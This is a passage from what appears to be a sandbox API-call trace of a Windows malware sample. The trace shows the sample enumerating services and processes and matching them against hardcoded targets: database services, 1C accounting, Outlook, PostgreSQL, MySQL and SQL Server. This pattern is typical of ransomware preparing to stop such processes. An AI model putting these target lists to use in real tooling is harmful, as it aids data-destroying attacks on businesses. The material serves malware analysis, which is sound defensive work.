(lpString1="sqlwriter", lpString2="BFE") returned 1 [0067.720] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0067.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0067.720] lstrlenW (lpString="CryptSvc") returned 8 [0067.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0067.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0067.721] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0067.721] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0067.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0067.721] lstrlenW (lpString="CscService") returned 10 [0067.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0067.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0067.721] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0067.721] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0067.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0067.721] lstrlenW (lpString="DcomLaunch") returned 10 [0067.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0067.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0067.721] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0067.721] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0067.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0067.721] lstrlenW (lpString="Dhcp") returned 4 [0067.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0067.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0067.721] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0067.721] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0067.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0067.721] lstrlenW (lpString="Dnscache") returned 8 [0067.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0067.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0067.721] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0067.721] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0067.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0067.721] lstrlenW (lpString="DPS") returned 3 [0067.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0067.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0067.721] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0067.721] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0067.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0067.722] lstrlenW (lpString="eventlog") returned 8 [0067.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0067.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0067.722] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0067.722] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0067.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0067.722] lstrlenW (lpString="EventSystem") returned 11 [0067.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0067.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0067.722] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0067.722] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0067.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0067.722] lstrlenW (lpString="gpsvc") returned 5 [0067.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0067.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0067.722] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0067.722] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0067.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0067.722] lstrlenW (lpString="iphlpsvc") returned 8 [0067.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0067.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0067.722] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0067.722] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0067.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0067.722] lstrlenW (lpString="LanmanServer") returned 12 [0067.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0067.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0067.722] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0067.722] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0067.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0067.722] lstrlenW (lpString="LanmanWorkstation") returned 17 [0067.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0067.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0067.722] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0067.722] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0067.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0067.723] lstrlenW (lpString="lmhosts") returned 7 [0067.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0067.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0067.723] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0067.723] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0067.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0067.723] lstrlenW (lpString="MMCSS") returned 5 [0067.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0067.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0067.723] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0067.723] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0067.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0067.723] lstrlenW (lpString="MpsSvc") returned 6 [0067.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0067.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0067.723] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0067.723] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0067.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0067.723] lstrlenW (lpString="Netman") returned 6 [0067.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0067.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0067.723] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0067.723] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0067.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0067.723] lstrlenW (lpString="netprofm") returned 8 [0067.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0067.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0067.723] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0067.723] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0067.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0067.724] lstrlenW (lpString="NlaSvc") returned 6 [0067.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0067.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0067.724] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0067.724] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0067.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0067.724] lstrlenW (lpString="nsi") returned 3 [0067.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0067.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0067.724] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0067.724] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0067.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0067.724] lstrlenW (lpString="PcaSvc") returned 6 [0067.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0067.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0067.724] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0067.724] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0067.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0067.724] lstrlenW (lpString="PlugPlay") returned 8 [0067.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0067.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0067.724] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0067.724] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0067.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0067.724] lstrlenW (lpString="Power") returned 5 [0067.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0067.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0067.724] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0067.724] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0067.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0067.725] lstrlenW (lpString="ProfSvc") returned 7 [0067.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0067.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0067.725] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0067.725] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0067.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0067.725] lstrlenW (lpString="RpcEptMapper") returned 12 [0067.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0067.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0067.725] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0067.725] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0067.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0067.725] lstrlenW (lpString="RpcSs") returned 5 [0067.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0067.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0067.725] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0067.725] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0067.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0067.725] lstrlenW (lpString="SamSs") returned 5 [0067.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0067.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0067.725] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0067.725] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0067.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0067.725] lstrlenW (lpString="Schedule") returned 8 [0067.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0067.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0067.725] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0067.726] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0067.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0067.726] lstrlenW (lpString="SENS") returned 4 [0067.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0067.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0067.726] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0067.726] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0067.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0067.726] lstrlenW (lpString="ShellHWDetection") returned 16 [0067.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0067.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0067.726] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0067.726] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0067.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0067.726] lstrlenW (lpString="Spooler") returned 7 [0067.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0067.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0067.726] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0067.726] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0067.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0067.726] lstrlenW (lpString="SysMain") returned 7 [0067.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0067.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0067.726] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0067.726] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0067.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0067.726] lstrlenW (lpString="Themes") returned 6 [0067.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0067.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0067.727] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0067.727] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0067.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0067.727] lstrlenW (lpString="TrkWks") returned 6 [0067.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0067.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0067.727] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0067.727] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0067.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0067.727] lstrlenW (lpString="UxSms") returned 5 [0067.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0067.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0067.727] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0067.727] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0067.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0067.727] lstrlenW (lpString="VSS") returned 3 [0067.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0067.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0067.727] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0067.727] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0067.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0067.727] lstrlenW (lpString="WdiServiceHost") returned 14 [0067.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0067.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0067.727] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0067.727] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0067.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0067.727] lstrlenW (lpString="WdiSystemHost") returned 13 [0067.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0067.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0067.728] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0067.728] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0067.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0067.728] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0067.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0067.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0067.728] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0067.728] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0067.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0067.728] lstrlenW (lpString="Winmgmt") returned 7 [0067.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0067.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0067.728] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0067.728] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0067.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0067.728] lstrlenW (lpString="WPDBusEnum") returned 10 [0067.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0067.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0067.728] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0067.728] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0067.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0067.728] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x509080 | out: hHeap=0x4b0000) returned 1 [0067.728] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d4 [0067.732] Process32FirstW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0067.732] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0067.733] lstrlenW (lpString="System") returned 6 [0067.733] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0067.733] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0067.733] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0067.733] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0067.733] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0067.733] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0067.733] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0067.733] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0067.733] lstrlenW (lpString="smss.exe") returned 8 [0067.733] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0067.733] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0067.734] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0067.734] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0067.734] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0067.734] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0067.734] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0067.734] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0067.734] lstrlenW (lpString="csrss.exe") returned 9 [0067.734] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0067.734] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0067.734] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0067.734] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0067.734] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0067.734] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0067.734] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0067.734] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0067.735] lstrlenW (lpString="wininit.exe") returned 11 [0067.735] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0067.735] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0067.735] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0067.735] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0067.735] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0067.735] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0067.735] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0067.735] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0067.735] lstrlenW (lpString="csrss.exe") returned 9 [0067.735] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0067.735] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0067.736] lstrlenW (lpString="winlogon.exe") returned 12 [0067.736] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0067.736] lstrlenW (lpString="services.exe") returned 12 [0067.736] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0067.737] lstrlenW (lpString="lsass.exe") returned 9 [0067.737] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0067.737] lstrlenW (lpString="lsm.exe") returned 7 [0067.737] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.737] lstrlenW (lpString="svchost.exe") returned 11 [0067.737] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.738] lstrlenW (lpString="svchost.exe") returned 11 [0067.738] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.738] lstrlenW (lpString="svchost.exe") returned 11 [0067.738] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.738] lstrlenW 